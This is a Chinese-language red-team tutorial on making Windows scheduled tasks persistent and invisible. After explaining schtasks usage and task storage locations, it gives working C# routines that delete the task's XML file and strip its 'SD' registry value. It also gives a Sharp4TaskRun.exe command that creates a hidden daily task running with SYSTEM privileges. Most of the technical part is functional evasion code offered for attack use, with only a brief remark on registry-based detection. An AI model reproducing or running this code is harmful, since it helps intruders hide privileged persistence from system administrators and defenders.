Sharp4TaskRun.exe 是一款在红队操作中用于创建持久性计划任务的工具,它能够通过移除注册表中的特定值来隐藏计划任务,使其在任务管理器中不可见。要使用此技术,执行该操作的用户需要具备 NT AUTHORITY/SYSTEM 权限。
0x01 创建可见的计划任务
在 Windows 中,可以使用 at.exe 和 schtasks.exe 两种命令行工具来创建计划任务。两者的功能和适用范围有所不同,以下是各自的使用方法和特点。
1.1 使用 at.exe 命令创建计划任务
at.exe 是 Windows 系统早期提供的命令行工具,一般在 Windows XP 和 Windows Server 2003 之前的系统中使用,基本用法如下所示。
at [\\计算机名] 时间 /interactive /every:日期 任务命令
比如,定时任务 at 14:00 /every:Sunday,Monday "notepad.exe",这条命令将在每周日、周一的 14:00 运行 notepad.exe。
1.2 使用 schtasks.exe 命令创建计划任务
在Windows XP以上的操作系统中,通常使用 schtasks.exe 创建计划任务,schtasks 比 at 更加强大,提供了很多自定义任务时需要的参数,基本语法如下所示。
schtasks /create /tn "任务名称" /tr "任务命令" /sc 频率 [/st 开始时间] [/sd 开始日期] [/ru 用户名] [/rp 密码]
比如,创建一个名为 "OpenNotepad" 的任务,在每天 14:00 运行 notepad.exe,以系统权限执行。
schtasks /create /tn "OpenNotepad" /tr "notepad.exe" /sc daily /st 14:00 /ru System
这里的参数/sc 表示设置任务频率,例如 once(一次)、daily(每天)、weekly(每周)、onlogon(用户登录时)。/ru 用户名:指定运行任务的用户。System 表示以系统权限运行,运行后成功创建系统任务,输入taskschd.msc命令 ,可以在任务计划程序看到刚才所创建的任务,如下图所示。
0x02 计划任务存储位置
计划任务一旦创建成功,将会自动在 %SystemRoot%\System32\Tasks 目录生成一个关于该任务的描述性 XML 文件,包含了所有的任务信息,如下图所示。
另外,在 Windows 10 中,计划任务的元数据也会存储在注册表中,可以通过查看以下路径中的键值来找到刚才创建的计划任务信息:
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\OpenNotepad
在此路径下,可以查看计划任务的相关配置信息,例如任务名称、触发条件、执行命令、权限设置等,如下图所示。
上图中注册表相关的信息,Id 表示任务的唯一标识符,任务对应的guid编号,SD 表示Security Descriptor 安全描述符,在Windows中,每一个安全对象实体都拥有一个安全描述符,安全描述符包含了被保护对象相关联的安全信息的数据结构,它的作用主要是为了给操作系统提供判断来访对象的权限。
0x03 计划任务存储位置
想要完全隐藏计划任务,除了删除 XML 文件外,还需要删除对应的注册表中指定任务的 SD 值。首先,在 C:\Windows\System32\Tasks 目录下找到计划任务的 XML 文件并删除,具体代码如下所示
private void DeleteScheduledTaskFile(string taskName)
{
Console.WriteLine("[+] Deleting scheduled task file...");
string taskFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Tasks", taskName);
try
{
if (File.Exists(taskFilePath))
{
File.Delete(taskFilePath);
Console.WriteLine("[+] Task XML file deleted successfully.");
}
else
{
Console.WriteLine("[-] Task XML file not found.");
}
}
catch (Exception ex)
{
Console.WriteLine("[-] Error deleting task XML file: " + ex.Message);
}
}
在 Windows 10 中,删除 XML 文件,并不影响计划任务的运行,且在 taskschd.msc 任务计划程序中,依然存在对应任务。
随后,在注册表中删除路径 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree{TaskName} 下的 SD 值,确保任务不在任务管理器中显示,具体代码如下所示。
private void HideScheduledTaskInRegistry(string taskName)
{
Console.WriteLine("[+] Hiding scheduled task in registry...");
string registryPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\";
try
{
// 打开注册表路径并删除 SD 值
RegistryKey taskKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)
.OpenSubKey(registryPath + taskName, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.WriteKey);
taskKey?.DeleteValue("SD");
Console.WriteLine("[+] Successfully removed 'SD' value from registry.");
}
catch (Exception ex)
{
Console.WriteLine("[-] Error hiding task in registry: " + ex.Message);
}
}
这样两步操作后,无论在 taskschd.msc、schtasks.exe 、API 都查看不到所创建的任务,较为彻底,比如我们创建隐藏的任务名Cleanup1234,打开计划任务管理器并未发现该任务,如下图所示。
再尝试使用 schtasks /query 命令查询任务,当查询一个正常的计划任务OpenNotepad时返回的结果符合预期,再查询 Cleanup1234 任务时,返回 "错误: 系统找不到指定的文件"。如下图所示。
但还是可以从注册表路径中排查出该计划任务,具体路径如下:
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
注意,操作注册表需要Windows系统最高权限,因此需要SYSTEM账户才能隐藏计划任务,通过隐藏任务计划启动的新进程,继承了SYSTEM权限,比如使用自动化工具 Sharp4TaskRun.exe 创建一个每日触发的隐藏计划任务Cleanup1234,计划任务将在指定时间运行,具体命令如下所示。
.\Sharp4TaskRun.exe /method:create /taskname:Cleanup123 /trigger:daily /starttime:20:19 /program:winver.exe /description:"Some description" /author:Ivan1ee /technique:hide
其中,参数technique: hide 会实现隐藏计划任务的功能,目的是让主机成功启动winver.exe,并且以SYSTEM权限启动,如下图所示.
综上所述,该思路可以在红队操作中用于创建持久性计划任务,并且能够通过移除注册表中的特定值来隐藏计划任务,使其在任务管理器中不可见。